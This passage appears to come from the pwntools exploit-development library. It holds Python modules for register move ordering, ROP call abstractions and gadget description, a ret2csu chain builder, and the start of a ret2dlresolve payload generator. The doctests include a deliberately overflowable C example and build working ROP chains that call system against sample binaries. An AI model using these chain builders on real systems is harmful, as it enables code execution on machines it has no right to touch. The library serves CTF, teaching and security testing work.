'c', 3),\n         ('xchg', 'a', 'b')]\n        >>> regsort({'a': 'b', 'b': 'a', 'c': 'b'}, R) #doctest: +NORMALIZE_WHITESPACE\n        [('mov', 'c', 'b'),\n         ('xchg', 'a', 'b')]\n        >>> regsort({'a':'b', 'b':'a', 'x':'b'}, R, tmp='y', xchg=False) #doctest: +NORMALIZE_WHITESPACE\n        [('mov', 'x', 'b'),\n         ('mov', 'y', 'a'),\n         ('mov', 'a', 'b'),\n         ('mov', 'b', 'y')]\n        >>> regsort({'a':'b', 'b':'a', 'x':'b'}, R, tmp='x', xchg=False) #doctest: +ELLIPSIS\n        Traceback (most recent call last):\n        ...\n        PwnlibException: Cannot break dependency cycles ...\n        >>> regsort({'a':'b','b':'c','c':'a','x':'1','y':'z','z':'c'}, R) #doctest: +NORMALIZE_WHITESPACE\n        [('mov', 'x', '1'),\n         ('mov', 'y', 'z'),\n         ('mov', 'z', 'c'),\n         ('xchg', 'a', 'b'),\n         ('xchg', 'b', 'c')]\n        >>> regsort({'a':'b','b':'c','c':'a','x':'1','y':'z','z':'c'}, R, tmp='x') #doctest: +NORMALIZE_WHITESPACE\n        [('mov', 'y', 'z'),\n         ('mov', 'z', 'c'),\n         ('mov', 'x', 'a'),\n         ('mov', 'a', 'b'),\n         ('mov', 'b', 'c'),\n         ('mov', 'c', 'x'),\n         ('mov', 'x', '1')]\n        >>> regsort({'a':'b','b':'c','c':'a','x':'1','y':'z','z':'c'}, R, xchg=0) #doctest: +NORMALIZE_WHITESPACE\n        [('mov', 'y', 'z'),\n         ('mov', 'z', 'c'),\n         ('mov', 'x', 'a'),\n         ('mov', 'a', 'b'),\n         ('mov', 'b', 'c'),\n         ('mov', 'c', 'x'),\n         ('mov', 'x', '1')]\n         >>> regsort({'a': 'b', 'b': 'c'}, ['a','b','c'], xchg=0)\n         [('mov', 'a', 'b'), ('mov', 'b', 'c')]\n    \"\"\"\n    if randomize is None:\n        randomize = context.randomize\n\n    if mapping is None:\n        if hasattr(all_regs, 'keys'):\n            mapping = all_regs\n        else:\n            mapping = {}\n\n    sentinel = object()\n\n    # Drop all registers which will be set to themselves.\n    #\n    # For example, {'eax': 'eax'}\n    in_out = {k:v for k,v in in_out.items() if k != v}\n\n    # Collapse constant values\n    #\n    # For example, {'eax': 0, 'ebx': 0} => {'eax': 0, 'ebx': 'eax'}\n    v_k = defaultdict(list)\n    for k,v in sorted(in_out.items()):\n        if v not in all_regs and v != 0:\n            v_k[v].append(k)\n\n    post_mov = {}\n\n    for v,ks in sorted(v_k.items(), key=repr):\n        for k in ks[1:]:\n            post_mov[k] = ks[0]\n            in_out.pop(k)\n\n    # Check input\n    if not all(k in all_regs for k in in_out):\n        log.error(\"Unknown register! Know: %r.  Got: %r\" % (all_regs, list(in_out)))\n\n    # In the simplest case, no registers are 'inputs'\n    # which are also 'outputs'.\n    #\n    # For example, {'eax': 1, 'ebx': 2, 'ecx': 'edx'}\n    inps = {mapping.get(k, k) for k in in_out}\n    outs = {mapping.get(v, v) for v in in_out.values()}\n    if not inps & outs:\n        result = [('mov', k,in_out[k]) for k in sorted(in_out)]\n\n        if randomize:\n            shuffle(result)\n\n        for dreg, sreg in sorted(post_mov.items()):\n            result.append(('mov', dreg, sreg))\n\n        return result\n\n    # Invert so we have a dependency graph.\n    #\n    # Input:   {'A': 'B', 'B': '1', 'C': 'B'}\n    # Output:  {'A': [], 'B': ['A', 'C'], 'C': []}\n    #\n    # In this case, both A and C must be set before B.\n    deps  = {r: extract_dependencies(r, in_out, mapping) for r in in_out}\n\n    # Final result which will be returned\n    result = []\n\n    # Find all of the cycles.\n    #\n    # Given that everything is single-assignment, the cycles\n    # are guarnteed to be disjoint.\n    cycle_candidates = sorted(list(in_out))\n    cycles           = []\n    in_cycle         = []\n    not_in_cycle     = []\n\n    if randomize:\n        shuffle(cycle_candidates)\n\n    while cycle_candidates:\n        reg   = cycle_candidates[0]\n        cycle = check_cycle(reg, in_out, mapping)\n\n        if cycle:\n            if randomize:\n                x = randint(0, len(cycle))\n                cycle = cycle[x:] + cycle[:x]\n\n\n            cycles.append(cycle)\n            in_cycle.extend(cycle)\n            for reg in cycle:\n                cycle_candidates.remove(reg)\n        else:\n            not_in_cycle.append(cycle_candidates.pop(0))\n\n    #\n    # If there are cycles, ensure that we can break them.\n    #\n    # If the temporary register itself is in, or ultimately\n    # depends on a register which is in a cycle, we cannot use\n    # it as a temporary register.\n    #\n    # In this example below, X, Y, or Z cannot be a temporary register,\n    # as the following must occur before resolving the cycle:\n    #\n    #  - X = Y\n    #  - Y = Z\n    #  - Z = C\n    #\n    #   X → Y → Z → ───╮\n    #                  ↓\n    #  ╭─ (A) → (B) → (C) ─╮\n    #  ╰──────── ← ────────╯\n    if depends_on_cycle(tmp, in_out, in_cycle):\n        tmp = None\n\n    # If XCHG is expressly disabled, and there is no temporary register,\n    # try to see if there is any register which can be used as a temp\n    # register instead.\n    #\n    # If there are no cycles, there's no need for a temporary register.\n    if in_cycle and not (xchg or tmp):\n        for reg in in_out:\n            if not depends_on_cycle(reg, in_out, in_cycle):\n                tmp = reg\n                break\n        else:\n            nope = sorted((k,v) for k,v in in_out.items())\n            log.error(\"Cannot break dependency cycles in %r\" % nope)\n\n\n    # Don't set the temporary register now\n    if tmp in not_in_cycle:\n        not_in_cycle.remove(tmp)\n\n    # Resolve everything *not* in a cycle.\n    if randomize:\n        shuffle(not_in_cycle)\n\n    while not_in_cycle:\n        reg   = not_in_cycle[0]\n        order = resolve_order(reg, deps)\n\n        for reg in order:\n            # Did we already handle this reg?\n            if reg not in not_in_cycle:\n                continue\n\n            src =  in_out[reg]\n            result.append(('mov', reg, src))\n            not_in_cycle.remove(reg)\n\n            # Mark this as resolved\n            if reg in deps.get(src, []):\n                deps[src].remove(reg)\n\n\n    # If using a temporary register, break each cycle individually\n    #\n    #  ╭─ (A) → (B) → (C) ─╮\n    #  ╰──────── ← ────────╯\n    #\n    # Becomes separete actions:\n    #\n    #   tmp = A\n    #   A = B\n    #   B = C\n    #   C = tmp\n    #\n    #  ╭─ (A) → (B) → (C) ─╮\n    #  ╰──────── ← ────────╯\n    if randomize:\n        shuffle(cycles)\n\n    if tmp:\n        for cycle in cycles:\n            if len(cycle) == 1:\n                [reg] = cycle\n                result.append(('mov', reg, in_out[reg]))\n                continue\n\n            first = cycle[0]\n            last  = cycle[-1]\n\n            deps[first].remove(last)\n            in_out[last] = tmp\n\n            order = resolve_order(last, deps)\n\n            result.append(('mov', tmp, first))\n            for reg in order:\n                result.append(('mov', reg, in_out[reg]))\n\n    else:\n        for cycle in cycles:\n            size = len(cycle)\n            if size == 1:\n                [reg] = cycle\n                result.append(('mov', reg, in_out[reg]))\n            for i in range(size-1):\n                result.append(('xchg', cycle[i], cycle[(i+1) % size]))\n\n    # Finally, set the temp register's final value\n    if tmp and tmp in in_out:\n        result.append(('mov', tmp, in_out[tmp]))\n\n    for dreg, sreg in sorted(post_mov.items()):\n        result.append(('mov', dreg, sreg))\n\n    return result\n"
  },
  {
    "path": "pwnlib/replacements.py",
    "content": "\"\"\"Improved replacements for standard functions\n\"\"\"\n\nimport time as __time\n\n\ndef sleep(n):\n    \"\"\"sleep(n)\n\n    Replacement for :func:`time.sleep()`, which does not return if a signal is received.\n\n    Arguments:\n      n (int):  Number of seconds to sleep.\n    \"\"\"\n    end = __time.time() + n\n    while True:\n        left = end - __time.time()\n        if left <= 0:\n            break\n        __time.sleep(left)\n"
  },
  {
    "path": "pwnlib/rop/__init__.py",
    "content": "from pwnlib.rop.rop import ROP\n"
  },
  {
    "path": "pwnlib/rop/call.py",
    "content": "\"\"\"Abstracting ROP calls\n\"\"\"\nfrom pwnlib.abi import ABI\nfrom pwnlib.context import context\nfrom pwnlib.util import packing\n\nfrom pwnlib.util.misc import align\n\n\nclass Unresolved(object):\n    \"\"\"\n    Encapsulates logic for deferring evaluation of a value used\n    in a ROP chain which is in some way self-referential.\n\n    For example, it may be necessary to point to arbitrary data\n    appended to the ROP chain, but whose address is not known until\n    the full ROP chain is complete (because the data is appended\n    after all of the gadgets).\n    \"\"\"\n    pass\n\n\nclass CurrentStackPointer(Unresolved):\n    \"\"\"\n    Unresolved argument which will be replaced with the address of itself.\n    \"\"\"\n    pass\n\n\nclass NextGadgetAddress(Unresolved):\n    \"\"\"\n    Unresolved argument which will be replaced with the address of the next\n    gadget on the stack.\n\n    This is useful for gadgets which set the stack pointer to an absolute\n    value, when we wish to continue \"execution\" of the ROP stack at the\n    next gadget.  In particular, SROP needs this.\n    \"\"\"\n    pass\n\n\nclass StackAdjustment(Unresolved):\n    \"\"\"\n    Placeholder for a ROP gadget which will adjust the stack pointer such\n    that \"execution\" continues at the next ROP gadget.\n\n    This is necessary for ABIs which place arguments on the stack.\n\n    If no stack adjustment is necessary (e.g. a call with no stack-based\n    arguments), no data is emitted and the ROP will fall-through to the\n    next gadget.\n    \"\"\"\n    pass\n\n\nclass AppendedArgument(Unresolved):\n    r\"\"\"\n    Encapsulates information about a pointer argument, and the data\n    which is pointed to, where the absolute address of the data must\n    be known, and the data can be appended to the ROP chain.\n\n    Examples:\n\n        >>> context.clear()\n        >>> context.arch = 'amd64'\n        >>> u = AppendedArgument([1,2,b'hello',3])\n        >>> len(u)\n        32\n        >>> u.resolve()\n        [1, 2, b'hello\\x00$$', 3]\n\n        >>> u = AppendedArgument([1,2,[b'hello'],3])\n        >>> u.resolve()\n        [1, 2, 32, 3, b'hello\\x00$$']\n        >>> u.resolve(10000)\n        [1, 2, 10032, 3, b'hello\\x00$$']\n        >>> u.address = 20000\n        >>> u.resolve()\n        [1, 2, 20032, 3, b'hello\\x00$$']\n\n        >>> u = AppendedArgument([[[[[[[[[b'pointers!']]]]]]]]], 1000)\n        >>> u.resolve()\n        [1008, 1016, 1024, 1032, 1040, 1048, 1056, 1064, b'pointers!\\x00$$$$$$']\n    \"\"\"\n    #: Symbolic name of the value.\n    name = None\n\n    #: The values to be placed at a known location\n    #:\n    #: A list of any of the following types:\n    #: - int\n    #: - str\n    #: - UnresolvedArgument (allows nesting)\n    values = []\n\n    #: The size of the fully-resolved argument, in bytes\n    size = 0\n\n    #: Absolute address of the target data in memory.\n    #: When modified, updates recursively.\n    address = 0\n\n    def __init__(self, value, address = 0):\n        if not isinstance(value, (list, tuple)):\n            value = [value]\n        self.values = []\n        self.address = address\n        for v in value:\n            if isinstance(v, (list, tuple)):\n                self.size += context.bytes\n            else:\n                if isinstance(v, str):\n                    v = packing._need_bytes(v)\n                try:\n                    self.size += align(context.bytes, len(v))\n                except TypeError: # no 'len'\n                    self.size += context.bytes\n        for v in value:\n            if isinstance(v, (list, tuple)):\n                arg = AppendedArgument(v, self.address + self.size)\n                self.size += arg.size\n                self.values.append(arg)\n            else:\n                self.values.append(v)\n\n    @property\n    def address(self):\n        return self._address\n\n    @address.setter\n    def address(self, value):\n        old = self._address\n        delta = value - old\n        for v in self.values:\n            if isinstance(v, Unresolved):\n                v.address += delta\n\n        self._address = value\n\n    _address = 0\n\n    def local(self, address):\n        original = self.address\n\n        class LocalAddress(object):\n\n            def __enter__(*a, **kw):\n                self.address = address\n\n            def __exit__(*a, **kw):\n                self.address = original\n\n        return LocalAddress()\n\n    def resolve(self, addr=None):\n        \"\"\"\n        Return a flat list of ``int`` or ``bytes`` objects which can be\n        passed to :func:`.flat`.\n\n        Arguments:\n            addr(int): Address at which the data starts in memory.\n                If :const:`None`, ``self.addr`` is used.\n        \"\"\"\n        if addr is None:\n            addr = self.address\n        with self.local(addr):\n            self.address = addr\n            rv = [None] * len(self.values)\n            for i, value in enumerate(self.values):\n                if isinstance(value, int):\n                    rv[i] = value\n                elif isinstance(value, str):\n                    value = packing._need_bytes(value)\n                if isinstance(value, (bytes, bytearray)):\n                    value += b'\\x00'\n                    while len(value) % context.bytes:\n                        value += b'$'\n\n                    rv[i] = value\n                elif isinstance(value, Unresolved):\n                    rv[i] = value.address\n                    rv.extend(value.resolve())\n                assert rv[i] is not None\n\n        return rv\n\n    def __len__(self):\n        return self.size\n\n    def __bytes__(self):\n        return packing.flat(self.resolve())\n\n    def __repr__(self):\n        if isinstance(self.address, int):\n            return '%s(%r, %#x)' % (self.__class__.__name__, self.values, self.address)\n        else:\n            return '%s(%r, %r)' % (self.__class__.__name__, self.values, self.address)\n\n\nclass Call(object):\n    \"\"\"\n    Encapsulates ABI-agnostic information about a function call, which is\n    to be executed with ROP.\n\n    All non-integer arguments are assumed to be pointer arguments.\n    The raw data is placed at the end of the ROP chain, and the argument\n    is replaced with an exact pointer to the argument.\n\n    Example:\n\n        >>> Call('system', 0xdeadbeef, [1, 2, b'/bin/sh'])\n        Call('system', 0xdeadbeef, [1, 2, AppendedArgument([b'/bin/sh'], 0x0)])\n    \"\"\"\n    #: Pretty name of the call target, e.g. 'system'\n    name = None\n\n    #: Address of the call target\n    target = 0\n\n    #: Arguments to the call\n    args = []\n\n    def __init__(self, name, target, args, abi=None, before=()):\n        assert isinstance(name, (bytes, str))\n        assert isinstance(args, (list, tuple))\n        self.abi  = abi or ABI.default()\n        self.name = name\n        self.target = target\n        self.args = list(args)\n        for i, arg in enumerate(args):\n            if not isinstance(arg, (int, Unresolved)):\n                self.args[i] = AppendedArgument(arg)\n        self.stack_arguments_before = before\n\n    def __repr__(self):\n        fmt = \"%#x\" if isinstance(self.target, int) else \"%r\"\n        return '%s(%r, %s, %r)' % (self.__class__.__name__,\n                                    self.name,\n                                    fmt % self.target,\n                                    self.args)\n\n    def is_flat(self):\n        if isinstance(self, (int, Unresolved)):\n            return True\n        if not isinstance(self, Call):\n            return False\n        return bool(self.args or self.stack_arguments_before)\n\n    @property\n    def register_arguments(self):\n        return dict(zip(self.abi.register_arguments, self.args))\n\n    @property\n    def stack_arguments(self):\n        return self.args[len(self.abi.register_arguments):]\n\n    @classmethod\n    def _special_repr(cls, x):\n        if isinstance(x, AppendedArgument):\n            x = x.values\n        if isinstance(x, list):\n            return list(map(cls._special_repr, x))\n        else:\n            return x\n\n    def __str__(self):\n        fmt = \"%#x\" if isinstance(self.target, int) else \"%r\"\n        args = []\n        for arg in self.args:\n            args.append(self._special_repr(arg))\n\n        name = self.name or (fmt % self.target)\n        arg_str = []\n        for arg in args:\n            if isinstance(arg, int) and arg > 0x100:\n                arg_str.append(hex(arg))\n            else:\n                arg_str.append(str(arg))\n        return '%s(%s)' % (name, ', '.join(arg_str))\n"
  },
  {
    "path": "pwnlib/rop/gadgets.py",
    "content": "class Gadget(object):\n    \"\"\"\n    Describes a ROP gadget\n    \"\"\"\n\n    #: Address of the first instruction of the gadget\n    address = 0\n\n    #: List of disassembled instruction mnemonics\n    #:\n    #: Examples:\n    #:      ['pop eax', 'ret']\n    insns = []\n\n    #: OrderedDict of register to:\n    #:\n    #: - Offset from the top of the frame at which it's set\n    #: - Name of the register which it is set from\n    #:\n    #: Order is determined by the order of instructions.\n    #:\n    #: Examples:\n    #:\n    #: ret => {}\n    #: pop eax; ret => {'eax': 0}\n    #: pop ebx; pop eax; ret => {'ebx': 0, 'eax': 4}\n    #: add esp, 0x10; pop ebx; ret => {'ebx': 16}\n    #: mov eax, ebx; ret => {'eax': 'ebx'}\n    regs = {}\n\n    #: The total amount that the stack pointer is modified by\n    #:\n    #: Examples:\n    #:      ret ==> 4\n    #:      add esp, 0x10; ret ==> 0x14\n    move = 0\n\n    def __init__(self, address, insns, regs, move):\n        self.address = int(address)\n        self.insns   = insns\n        self.regs    = regs\n        self.move    = move\n\n    __indices = ['address', 'details']\n\n    def __repr__(self):\n        return \"%s(%#x, %r, %r, %#x)\" % (self.__class__.__name__,\n                                         self.address,\n                                         self.insns,\n                                         self.regs,\n                                         self.move)\n\n    def __getitem__(self, key):\n        # Backward compatibility\n        if isinstance(key, int):\n            key = self.__indices[key]\n        return getattr(self, key)\n\n    def __setitem__(self, key, value):\n        # Backward compatibility\n        if isinstance(key, int):\n            key = self.__indices[key]\n        return setattr(self, key, value)\n"
  },
  {
    "path": "pwnlib/rop/ret2csu.py",
    "content": "from capstone import *\nfrom capstone.x86 import *\n\nfrom .rop import Padding\nfrom ..log import getLogger\nfrom ..util.packing import p64\n\n\nlog = getLogger(__name__)\n\n\ndef ret2csu(rop, elf, edi, rsi, rdx, rbx, rbp, r12, r13, r14, r15, call=None):\n    \"\"\"Build a ret2csu ROPchain\n\n    Arguments:\n        edi, rsi, rdx: Three primary registers to populate\n        rbx, rbp, r12, r13, r14, r15: Optional registers to populate\n        call: Pointer to the address of a function to call during\n            second gadget. If None then use the address of _fini in the\n            .dynamic section. .got.plt entries are a good target. Required\n            for PIE binaries.\n    \"\"\"\n\n    # Prepare capstone\n    md = Cs(CS_ARCH_X86, CS_MODE_64)\n    md.detail = True\n    md.skipdata = True\n\n    # Resolve __libc_csu_ symbols if candidate binary is stripped\n    if '__libc_csu_init' not in elf.symbols:\n        textaddr = elf.offset_to_vaddr(elf.get_section_by_name('.text').header.sh_offset)\n        entry = elf.entry\n        data = elf.section('.text')[entry-textaddr:]\n        mnemonic = elf.pie and 'lea' or 'mov'\n        for insn in md.disasm(data, entry):\n            if insn.mnemonic == mnemonic:\n                if mnemonic == 'lea':\n                    addr = insn.address + insn.size + insn.disp\n                else:\n                    addr = insn.operands[1].imm\n\n                if insn.operands[0].reg == X86_REG_R8:\n                    elf.sym['__libc_csu_fini'] = addr\n                if insn.operands[0].reg == X86_REG_RCX:\n                    elf.sym['__libc_csu_init'] = addr\n                    break\n            elif insn.mnemonic == 'xor' and insn.operands[0].reg == insn.operands[1].reg == X86_REG_ECX:\n                log.error(\"This binary is compiled for glibc 2.34+ and does not have __libc_csu_init\")\n            elif insn.mnemonic in ('hlt', 'jmp', 'call', 'syscall'):\n                log.error(\"No __libc_csu_init (no glibc _start)\")\n        else:\n            log.error(\"Weird _start, definitely no __libc_csu_init\")\n\n    # Resolve location of _fini address if required\n    if not elf.pie and not call:\n        call = next(elf.search(p64(elf.dynamic_by_tag('DT_FINI')['d_ptr'])))\n    elif elf.pie and not call:\n        log.error(\"No non-PIE binaries in [elfs], 'call' parameter is required\")\n\n    csu_function = elf.read(elf.sym['__libc_csu_init'], elf.sym['__libc_csu_fini'] - elf.sym['__libc_csu_init'])\n\n    # 1st gadget: Populate registers in preparation for 2nd gadget\n    for insn in md.disasm(csu_function, elf.sym['__libc_csu_init']):\n        if insn.mnemonic == 'pop' and insn.operands[0].reg == X86_REG_RBX:\n            rop.raw(insn.address)\n            break\n    # rbx and rbp must be equal after 'add rbx, 1'\n    rop.raw(0x00)  # pop rbx\n    rop.raw(0x01)  # pop rbp\n\n    # Older versions of gcc use r13 to populate rdx then r15d to populate edi, newer versions use the reverse\n    # Account for this when the binary was linked against a glibc that was built with a newer gcc\n    for insn in md.disasm(csu_function, elf.sym['__libc_csu_init']):\n        if insn.mnemonic == 'mov' and insn.operands[0].reg == X86_REG_RDX and insn.operands[1].reg == X86_REG_R13:\n            rop.raw(call)  # pop r12\n            rop.raw(rdx)  # pop r13\n            rop.raw(rsi)  # pop r14\n            rop.raw(edi)  # pop r15\n            rop.raw(insn.address)\n            break\n        elif insn.mnemonic == 'mov' and insn.operands[0].reg == X86_REG_RDX and insn.operands[1].reg == X86_REG_R14:\n            rop.raw(edi)  # pop r12\n            rop.raw(rsi)  # pop r13\n            rop.raw(rdx)  # pop r14\n            rop.raw(call)  # pop r15\n            rop.raw(insn.address)\n            break\n        elif insn.mnemonic == 'mov' and insn.operands[0].reg == X86_REG_RDX and insn.operands[1].reg == X86_REG_R15:\n            rop.raw(call)  # pop r12\n            rop.raw(edi)  # pop r13\n            rop.raw(rsi)  # pop r14\n            rop.raw(rdx)  # pop r15\n            rop.raw(insn.address)\n            break\n    else:\n        log.error(\"This CSU init variant is not supported by pwntools\")\n\n    # 2nd gadget: Populate edi, rsi & rdx. Populate optional registers\n    rop.raw(Padding('<add rsp, 8>'))  # add rsp, 8\n    rop.raw(rbx)  # pop rbx\n    rop.raw(rbp)  # pop rbp\n    rop.raw(r12)  # pop r12\n    rop.raw(r13)  # pop r13\n    rop.raw(r14)  # pop r14\n    rop.raw(r15)  # pop r15\n"
  },
  {
    "path": "pwnlib/rop/ret2dlresolve.py",
    "content": "r\"\"\"\nProvides automatic payload generation for exploiting buffer overflows\nusing ret2dlresolve.\n\nWe use the following example program:\n\n::\n\n    #include <unistd.h>\n    void vuln(void){\n        char buf[64];\n        read(STDIN_FILENO, buf, 200);\n    }\n    int main(int argc, char** argv){\n        vuln();\n    }\n\nWe can automate the  process of exploitation with these some example binaries.\n    \n    >>> context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('i386'))\n    >>> rop = ROP(context.binary)\n    >>> dlresolve = Ret2dlresolvePayload(elf, symbol=\"system\", args=[\"echo pwned\"])\n    >>> rop.read(0, dlresolve.data_addr) # do not forget this step, but use whatever function you like\n    >>> rop.ret2dlresolve(dlresolve)\n    >>> raw_rop = rop.chain()\n    >>> print(rop.dump())\n    0x0000:        0x80482e0 read(0, 0x804ae00)\n    0x0004:        0x80484ea <adjust @0x10> pop edi; pop ebp; ret\n    0x0008:              0x0 arg0\n    0x000c:        0x804ae00 arg1\n    0x0010:        0x80482d0 [plt_init] system(0x804ae24)\n    0x0014:           0x2b84 [dlresolve index]\n    0x0018:          b'gaaa' <return address>\n    0x001c:        0x804ae24 arg0\n    >>> p = elf.process() # doctest: +LINUX\n    >>> p.sendline(fit({64+context.bytes*3: raw_rop, 200: dlresolve.payload})) # doctest: +LINUX\n    >>> p.recvline() # doctest: +LINUX\n    b'pwned\\n'\n\nYou can also use ``Ret2dlresolve`` on AMD64:\n\n    >>> context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))\n    >>> rop = ROP(elf)\n    >>> dlresolve = Ret2dlresolvePayload(elf, symbol=\"system\", args=[\"echo pwned\"])\n    >>> rop.read(0, dlresolve.data_addr) # do not forget this step, but use whatever function you like\n    >>> rop.ret2dlresolve(dlresolve)\n    >>> raw_rop = rop.chain()\n    >>> print(rop.dump())\n    0x0000:         0x400593 pop rdi; ret\n    0x0008:              0x0 [arg0] rdi = 0\n    0x0010:         0x400591 pop rsi; pop r15; ret\n    0x0018:         0x601e00 [arg1] rsi = 6299136\n    0x0020:      b'iaaajaaa' <pad r15>\n    0x0028:         0x4003f0 read\n    0x0030:         0x400593 pop rdi; ret\n    0x0038:         0x601e48 [arg0] rdi = 6299208\n    0x0040:         0x4003e0 [plt_init] system\n    0x0048:          0x15670 [dlresolve index]\n    >>> p = elf.process() # doctest: +LINUX\n    >>> p.sendline(fit({64+context.bytes: raw_rop, 200: dlresolve.payload})) # doctest: +LINUX\n    >>> if dlresolve.unreliable: # doctest: +LINUX\n    ...     p.poll(True) == -signal.SIGSEGV\n    ... else:\n    ...     p.recvline() == b'pwned\\n'\n    True\n\"\"\"\n\nfrom copy import deepcopy\n\nfrom pwnlib.context import context\nfrom pwnlib.log import getLogger\nfrom pwnlib.util.packing import *\nfrom pwnlib.util.packing import _need_bytes\nfrom pwnlib.util.misc import align\n\nlog = getLogger(__name__)\n\nELF32_R_SYM_SHIFT = 8\nELF64_R_SYM_SHIFT = 32\n\nclass Elf32_Rel(object):\n    ''\n    \"\"\"\n    .. code-block:: c\n\n        typedef struct elf32_rel {\n            Elf32_Addr\tr_offset;\n            Elf32_Word\tr_info;\n        } Elf32_Rel;\n    \"\"\"\n    size=1 # see _build_structures method for explanation\n    def __init__(self, r_offset=0, r_info=0):\n        self.r_offset = r_offset\n        self.r_info = r_info\n\n    def __flat__(self):\n        return p32(self.r_offset) + p32(self.r_info)\n\n    def __bytes__(self):\n        return self.__flat__()\n\n\nclass Elf64_Rel(object):\n    ''\n    \"\"\"\n    .. code-block:: c\n\n        typedef struct elf64_rel {\n            Elf64_Addr r_offset;\n            Elf64_Xword r_info;\n        } Elf64_Rel;\n    \"\"\"\n    size=24\n    def __init__(self, r_offset=0, r_info=0):\n        self.r_offset = r_offset\n        self.r_info = r_info\n\n    def __flat__(self):\n        return p64(self.r_offset) + p64(self.r_info) + p64(0)\n\n    def __bytes__(self):\n        return self.__flat__()\n\n\nclass Elf32_Sym(object):\n    ''\n    \"\"\"\n    .. code-block:: c\n\n        typedef struct elf32_sym{\n            Elf32_Word\tst_name;\n            Elf32_Addr\tst_value;\n            Elf32_Word\tst_size;\n            unsigned char\tst_info;\n            unsigned char\tst_other;\n            Elf32_Half\tst_shndx;\n        } Elf32_Sym;\n    \"\"\"\n    size = 16\n    def __init__(self, st_name=0, st_value=0, st_size=0, st_info=0, st_other=0, st_shndx=0):\n        self.st_name = st_name\n        self.st_value = st_value\n        self.st_size = st_size\n        self.st_info = st_info\n        self.st_other = st_other\n        self.st_shndx = st_shndx\n\n    def __flat__(self):\n        return p32(self.st_name) + \\\n            p32(self.st_value) + \\\n            p32(self.st_size) + \\\n            p8(self.st_info) + \\\n            p8(self.st_other) + \\\n            p16(self.st_shndx)\n\n    def __bytes__(self):\n        return self.__flat__()\n\n\nclass Elf64_Sym(object):\n    ''\n    \"\"\"\n    .. code-block:: c\n\n        typedef struct elf64_sym {\n            Elf64_Word st_name;\n            unsigned char\tst_info;\n            unsigned char\tst_other;\n            Elf64_Half st_shndx;\n            Elf64_Addr st_value;\n            Elf64_Xword st_size;\n        } Elf64_Sym;\n    \"\"\"\n    size=24\n    def __init__(self, st_name=0, st_value=0, st_size=0, st_info=0, st_other=0, st_shndx=0):\n        self.st_name = st_name\n        self.st_value = st_value\n        self.st_size = st_size\n        self.st_info = st_info\n        self.st_other = st_other\n        self.st_shndx = st_shndx\n\n    def __flat__(self):\n        return p32(self.st_name) + \\\n            p8(self.st_info) + \\\n            p8(self.st_other) + \\\n            p16(self.st_shndx) + \\\n            p64(self.st_value) + \\\n            p64(self.st_size)\n\n    def __bytes__(self):\n        return self.__flat__()\n\n\nclass Queue(list):\n    ''\n    def size(self):\n        size = 0\n        for v in self:\n            # Lists, strings and ints all have size context.size\n            # Assuming int size equals address size\n            if isinstance(v, MarkedBytes):\n                size += len(v)\n            else:\n                size += context.bytes\n        return size\n\n\nclass MarkedBytes(bytes):\n    ''\n    pass\n\n\nclass Ret2dlresolvePayload(object):\n    \"\"\"Create a ret2dlresolve payload\n\n    Arguments:\n        elf (ELF): Binary to search\n        symbol (str): Function to search for\n        args (list): List of arguments to pass to the function\n        data_addr (int|None): The address where the payload will \n            be written to. If not provided, a suitable address will\n            be chosen automatically (recommended).\n        resolution_addr (int|None): The address where the location\n            of the resolved symbol will be written to. If not provided\n            will be equal to data_addr.\n\n    Returns:\n        A ``Ret2dlresolvePayload`` object. It can be passed to ``rop.ret2dlresolve``\n        for automatic exploitation.\n\n        If that is not suitable the object generates useful values (.reloc_index \n        and .payload) which can be used to aid manual exploitation. In this case\n        it is recommended to set .resolution_addr to the GOT address of an easily\n        callable function (do not set it when passing the object to \n        rop.ret2dlresolve).\n    \"\"\"\n    def __init__(self, elf, symbol, args, data_addr=None, resolution_addr=None):\n        self.elf = elf\n        self.elf_load_address_fixup = self.elf.address - self.elf.load_addr\n        self.strtab = elf.dynamic_value_by_tag(\"DT_STRTAB\") + self.elf_load_address_fixup\n        self.symtab = elf.dynamic_value_by_tag(\"DT_SYMTAB\") + self.elf_load_address_fixup\n        self.jmprel = elf.dynamic_value_by_tag(\"DT_JMPREL\") + self.elf_load_address_fixup\n        self.versym = elf.dynamic_value_by_tag(\"DT_VERSYM\") + self.elf_load_address_fixup\n        self.symbol = _need_bytes(symbol, min_wrong=0x80)\n        self.args = args\n        self.real_args = self._format_args()\n        self.unreliable = False\n\n        self.data_addr = data_addr if data_addr is not None else self._get_recommended_address()\n        self.resolution_addr = resolution_addr if resolution_addr is not None else self.data_addr\n\n        # Will be set when built\n        self.reloc_index = -1\n        self.payload = b\"\"\n\n        # PIE is untested, gcc forces FULL-RELRO when PIE is set\n        if self.elf.pie and self.elf_load_address_fixup == 0:\n            log.warning(\"WARNING: ELF is PIE but has no base address set\")\n\n        self._build()\n\n    def _format_args(self):\n        # Encode every string in args\n        def aux(args):\n            for i, arg in enumerate(args):\n                if isinstance(arg, (str,bytes)):\n                    args[i] = _need_bytes(args[i], min_wrong=0x80) + b\"\\x00\"\n                elif isinstance(arg, (list, tuple)):\n                    aux(arg)\n\n        args = deepcopy(self.args)\n        aux(args)\n        return args\n\n    def _get_recommended_address(self):\n        bss = self.elf.get_section_by_name(\".bss\").header.sh_addr + self.elf_load_address_fixup\n        bss_size = self.elf.get_section_by_name(\".bss\").header.sh_size\n        addr = bss + bss_size\n        addr = addr + (-addr & 0xfff) - 0x200 #next page in memory - 0x200\n        return addr\n\n    def _build_structures(self):\n        # The first part of the payload is the usual of ret2dlresolve.\n        if context.bits == 32:\n            ElfSym = Elf32_Sym\n            ElfRel = Elf32_Rel\n            ELF_R_SYM_SHIFT = ELF32_R_SYM_SHIFT\n        elif context.bits == 64:\n            ElfSym = Elf64_Sym\n            ElfRel = Elf64_Rel\n            ELF_R_SYM_SHIFT = ELF64_R_SYM_SHIFT\n        else:\n            log.error(\"Unsupported bits\")\n\n        # where the address of the symbol will be saved\n        # (ElfRel.r_offset points here)\n        symbol_space = b\"A\"*context.bytes\n\n        # Symbol name. Ej: system\n        symbol_name_addr = self.data_addr + len(self.payload)\n        symbol_name = self.symbol + b\"\\x00\"\n        symbol_end_addr = symbol_name_addr + len(symbol_name)\n\n        # ElfSym\n        index = align(ElfSym.size, symbol_end_addr - self.symtab) // ElfSym.size # index for both symtab and versym\n        sym_addr = self.symtab + ElfSym.size * index\n        sym = ElfSym(st_name=symbol_name_addr - self.strtab)\n        sym_end_addr = sym_addr + sym.size\n\n        # It seems to be treated as an index in 64b and\n        # as an offset in 32b. That's why 